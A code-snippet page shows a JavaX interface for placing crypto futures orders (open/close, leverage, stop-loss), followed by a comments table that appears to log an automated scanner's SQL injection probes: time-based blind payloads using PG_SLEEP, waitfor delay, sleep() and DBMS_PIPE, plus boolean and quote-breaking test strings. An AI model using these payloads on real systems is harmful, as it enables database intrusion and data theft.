Libraryless. Click here for Pure Java version (11485L/65K).
interface IFuturesMarket { // all open/close orders are market right now (not limit) sclass OpenOrCloseOrder { // input parameters settable S clientOrderID; // optional settable HoldSide holdSide; settable double cryptoAmount; settable double leverage = 1; // Limit order if set. Otherwise market order. // Limit orders are good-until-cancel. // (unimplemented) settable double limitPrice = Double.NaN; // output parameters // order ID returned by platform settable S orderID; } macro ExtendingOpenOrCloseOrder { public selfType clientOrderID(S clientOrderID) { super.clientOrderID(clientOrderID); this; } public selfType holdSide(HoldSide holdSide) { super.holdSide(holdSide); this; } public selfType cryptoAmount(double cryptoAmount) { super.cryptoAmount(cryptoAmount); this; } public selfType leverage(double leverage) { super.leverage(leverage); this; } public selfType limitPrice(double limitPrice) { super.limitPrice(limitPrice); this; } } sclass OpenOrder extends OpenOrCloseOrder { ExtendingOpenOrCloseOrder settable bool isCross; settable double takeProfitPrice = Double.NaN; settable double stopLossPrice = Double.NaN; } sclass CloseOrder extends OpenOrCloseOrder { ExtendingOpenOrCloseOrder } // throws exception if order failed void openPosition(OpenOrder order); // throws exception if order failed void closePosition(CloseOrder order); sclass SwappableImplementation is IFuturesMarket { public swappable void openPosition(OpenOrder order) {} public swappable void closePosition(CloseOrder order) {} public swappable double drift() { unimplemented(); } public swappable FutureCoinParameters getCoinParameters() { unimplemented(); } public swappable bool anyOpenPositions() { unimplemented(); } public swappable void cancelOrder(S orderID) { unimplemented(); } } // Get current drift (sum of longs+shorts in crypto units) double drift(); FutureCoinParameters getCoinParameters(); bool anyOpenPositions(); void cancelOrder(S orderID); }
download show line numbers debug dex old transpilations
Travelled to 2 computer(s): elmgxqgtpvxh, mqqgnosmbjvj
| ID | Author/Program | Comment | Date |
|---|---|---|---|
| 2855 | wumrlvwz | @@z1N8C | 2026-03-13 20:19:39 |
| 2854 | wumrlvwz | 555????%2527%2522\'\" | 2026-03-13 20:19:39 |
| 2853 | wumrlvwz | 555'" | 2026-03-13 20:19:39 |
| 2852 | wumrlvwz | 555 | 2026-03-13 20:19:38 |
| 2851 | wumrlvwz | 555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | 2026-03-13 20:19:38 |
| 2850 | wumrlvwz | 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) | 2026-03-13 20:19:34 |
| 2849 | wumrlvwz | 5551RefiNBT')) OR 107=(SELECT 107 FROM PG_SLEEP(15))-- | 2026-03-13 20:19:32 |
| 2848 | wumrlvwz | 5556isrRJIQ') OR 827=(SELECT 827 FROM PG_SLEEP(15))-- | 2026-03-13 20:19:29 |
| 2847 | wumrlvwz | 555EyINkYnK' OR 198=(SELECT 198 FROM PG_SLEEP(15))-- | 2026-03-13 20:19:27 |
| 2846 | wumrlvwz | 555-1)) OR 564=(SELECT 564 FROM PG_SLEEP(15))-- | 2026-03-13 20:19:25 |
| 2845 | wumrlvwz | 555-1) OR 879=(SELECT 879 FROM PG_SLEEP(15))-- | 2026-03-13 20:19:23 |
| 2844 | wumrlvwz | 555-1 OR 273=(SELECT 273 FROM PG_SLEEP(15))-- | 2026-03-13 20:19:22 |
| 2843 | wumrlvwz | 555iRDNIXUE'; waitfor delay '0:0:15' -- | 2026-03-13 20:19:18 |
| 2842 | wumrlvwz | 555-1 waitfor delay '0:0:15' -- | 2026-03-13 20:19:15 |
| 2841 | wumrlvwz | 555-1); waitfor delay '0:0:15' -- | 2026-03-13 20:19:13 |
| 2840 | wumrlvwz | 555-1; waitfor delay '0:0:15' -- | 2026-03-13 20:19:10 |
| 2839 | wumrlvwz | (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ | 2026-03-13 20:19:07 |
| 2838 | wumrlvwz | 5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z | 2026-03-13 20:19:05 |
| 2837 | wumrlvwz | 5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z | 2026-03-13 20:19:02 |
| 2836 | wumrlvwz | 555*if(now()=sysdate(),sleep(15),0) | 2026-03-13 20:19:00 |
| 2835 | wumrlvwz | -1" OR 2+125-125-1=0+0+0+1 -- | 2026-03-13 20:18:58 |
| 2834 | wumrlvwz | -1' OR 2+528-528-1=0+0+0+1 or 'wCqIgVhN'=' | 2026-03-13 20:18:58 |
| 2833 | wumrlvwz | -1' OR 2+880-880-1=0+0+0+1 -- | 2026-03-13 20:18:57 |
| 2832 | wumrlvwz | -1 OR 2+356-356-1=0+0+0+1 | 2026-03-13 20:18:57 |
| 2831 | wumrlvwz | -1 OR 2+379-379-1=0+0+0+1 -- | 2026-03-13 20:18:57 |
| 2830 | wumrlvwz | 555 | 2026-03-13 20:18:57 |
| 2829 | wumrlvwz | 555 | 2026-03-13 20:18:55 |
| 2828 | wumrlvwz | 555 | 2026-03-13 20:18:54 |
| 2827 | wumrlvwz | 555 | 2026-03-13 20:18:53 |
| 2826 | wumrlvwz | 555 | 2026-03-13 20:18:53 |
| 2824 | wumrlvwz | 555 | 2026-03-13 20:18:53 |
| 2822 | wumrlvwz | 555 | 2026-03-13 20:18:53 |
| 2821 | wumrlvwz | 555 | 2026-03-13 20:18:50 |
| 2818 | wumrlvwz | 555 | 2026-03-13 20:18:39 |
| 2815 | wumrlvwz | 555 | 2026-03-13 20:18:34 |
| 2814 | wumrlvwz | 555 | 2026-03-13 20:18:29 |
| 2809 | wumrlvwz | 555 | 2026-03-13 20:18:25 |
| 2807 | wumrlvwz | 555 | 2026-03-13 20:18:22 |
| 2805 | wumrlvwz | 555 | 2026-03-13 20:18:19 |
| 2803 | wumrlvwz | 555 | 2026-03-13 20:18:14 |
| 2801 | wumrlvwz | 555 | 2026-03-13 20:18:11 |
| 2800 | wumrlvwz | 555 | 2026-03-13 20:18:11 |
| 2799 | wumrlvwz | 555 | 2026-03-13 20:18:11 |
| 2798 | wumrlvwz | 555 | 2026-03-13 20:18:11 |
| 2797 | wumrlvwz | 555 | 2026-03-13 20:18:10 |
| 2796 | wumrlvwz | 555 | 2026-03-13 20:18:10 |
| 2794 | wumrlvwz | 555 | 2026-03-13 20:18:07 |
| 2764 | wumrlvwz | 1 | 2026-03-13 20:17:30 |
| 2763 | wumrlvwz | 1 | 2026-03-13 20:17:30 |
| 2762 | wumrlvwz | 1 | 2026-03-13 20:17:29 |
| 2761 | wumrlvwz | 1 | 2026-03-13 20:17:29 |
| 2760 | wumrlvwz | 1 | 2026-03-13 20:17:29 |
| 2757 | wumrlvwz | 1 | 2026-03-13 20:17:28 |
| 2754 | wumrlvwz | 1 | 2026-03-13 20:17:26 |
| 2751 | wumrlvwz | 1 | 2026-03-13 20:17:23 |
| 2748 | wumrlvwz | 555 | 2026-03-13 20:17:20 |
| 2747 | wumrlvwz | 1 | 2026-03-13 20:17:20 |
| 2744 | wumrlvwz | 1 | 2026-03-13 20:17:18 |
| 2741 | wumrlvwz | 1 | 2026-03-13 20:17:16 |
| 2738 | wumrlvwz | 1 | 2026-03-13 20:17:14 |
| 2735 | wumrlvwz | 1 | 2026-03-13 20:17:12 |
| 2732 | wumrlvwz | 1 | 2026-03-13 20:17:10 |
| 2729 | wumrlvwz | 1 | 2026-03-13 20:17:08 |
| 2727 | wumrlvwz | 1 | 2026-03-13 20:17:05 |
| 2722 | wumrlvwz | 1 | 2026-03-13 20:17:03 |
| 2712 | wumrlvwz | 1 | 2026-03-13 20:16:55 |
| 2707 | wumrlvwz | 1 | 2026-03-13 20:16:44 |
| 2700 | wumrlvwz | 1 | 2026-03-13 20:16:42 |
| 2694 | wumrlvwz | 1 | 2026-03-13 20:16:40 |
| 2693 | wumrlvwz | 1 | 2026-03-13 20:16:40 |
| 2692 | wumrlvwz | 1 | 2026-03-13 20:16:40 |
| 2691 | wumrlvwz | 1 | 2026-03-13 20:16:40 |
| 2690 | wumrlvwz | 1 | 2026-03-13 20:16:40 |
| 2689 | wumrlvwz | 1 | 2026-03-13 20:16:40 |
| 2682 | wumrlvwz | 1 | 2026-03-13 20:16:39 |
| 2679 | wumrlvwz | @@O9GNi | 2026-03-13 20:16:37 |
| 2678 | wumrlvwz | 1????%2527%2522\'\" | 2026-03-13 20:16:37 |
| 2677 | wumrlvwz | 1'" | 2026-03-13 20:16:37 |
| 2676 | wumrlvwz | 1 | 2026-03-13 20:16:37 |
| 2675 | wumrlvwz | 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | 2026-03-13 20:16:37 |
| 2672 | wumrlvwz | 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) | 2026-03-13 20:16:35 |
| 2669 | wumrlvwz | 1zw6Ejd4t')) OR 353=(SELECT 353 FROM PG_SLEEP(15))-- | 2026-03-13 20:16:34 |
| 2666 | wumrlvwz | 1RXrjtBf6') OR 837=(SELECT 837 FROM PG_SLEEP(15))-- | 2026-03-13 20:16:32 |
| 2663 | wumrlvwz | 1qssPXHRC' OR 608=(SELECT 608 FROM PG_SLEEP(15))-- | 2026-03-13 20:16:31 |
| 2660 | wumrlvwz | 1-1)) OR 349=(SELECT 349 FROM PG_SLEEP(15))-- | 2026-03-13 20:16:29 |
| 2657 | wumrlvwz | 1-1) OR 902=(SELECT 902 FROM PG_SLEEP(15))-- | 2026-03-13 20:16:28 |
| 2654 | wumrlvwz | 1-1 OR 557=(SELECT 557 FROM PG_SLEEP(15))-- | 2026-03-13 20:16:26 |
| 2651 | wumrlvwz | 1ys4Lmozq'; waitfor delay '0:0:15' -- | 2026-03-13 20:16:25 |
| 2648 | wumrlvwz | 1-1 waitfor delay '0:0:15' -- | 2026-03-13 20:16:23 |
| 2646 | wumrlvwz | 1-1); waitfor delay '0:0:15' -- | 2026-03-13 20:16:22 |
| 2643 | wumrlvwz | 1-1; waitfor delay '0:0:15' -- | 2026-03-13 20:16:20 |
| 2640 | wumrlvwz | (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ | 2026-03-13 20:16:19 |
| 2637 | wumrlvwz | 10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z | 2026-03-13 20:16:18 |
| 2628 | wumrlvwz | 10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z | 2026-03-13 20:16:16 |
| 2620 | wumrlvwz | 1*if(now()=sysdate(),sleep(15),0) | 2026-03-13 20:16:14 |
| 2609 | wumrlvwz | -1" OR 2+499-499-1=0+0+0+1 -- | 2026-03-13 20:16:13 |
| 2608 | wumrlvwz | -1' OR 2+315-315-1=0+0+0+1 or 'QLzYMnbL'=' | 2026-03-13 20:16:13 |
| 2607 | wumrlvwz | -1' OR 2+552-552-1=0+0+0+1 -- | 2026-03-13 20:16:13 |
| 2605 | wumrlvwz | -1 OR 2+975-975-1=0+0+0+1 | 2026-03-13 20:16:12 |
| 2603 | wumrlvwz | -1 OR 2+634-634-1=0+0+0+1 -- | 2026-03-13 20:16:12 |
| 2601 | wumrlvwz | 1 | 2026-03-13 20:16:12 |
| 2595 | wumrlvwz | 1 | 2026-03-13 20:16:11 |
| Snippet ID: | #1036219 |
| Snippet name: | IFuturesMarket - interface to a single market (e.g. ETHUSDT) |
| Eternal ID of this version: | #1036219/23 |
| Text MD5: | 628e55ba4980216df1dc5b890ae7e2a0 |
| Transpilation MD5: | 8e02e6b2340ead5a0f66d4df4f05c420 |
| Author: | stefan |
| Category: | javax / trading |
| Type: | JavaX fragment (include) |
| Public (visible to everyone): | Yes |
| Archived (hidden from active list): | No |
| Created/modified: | 2026-02-15 14:15:07 |
| Source code size: | 2234 bytes / 68 lines |
| Pitched / IR pitched: | No / No |
| Views / Downloads: | 2205 / 2500 |
| Version history: | 22 change(s) |
| Referenced in: | [show references] |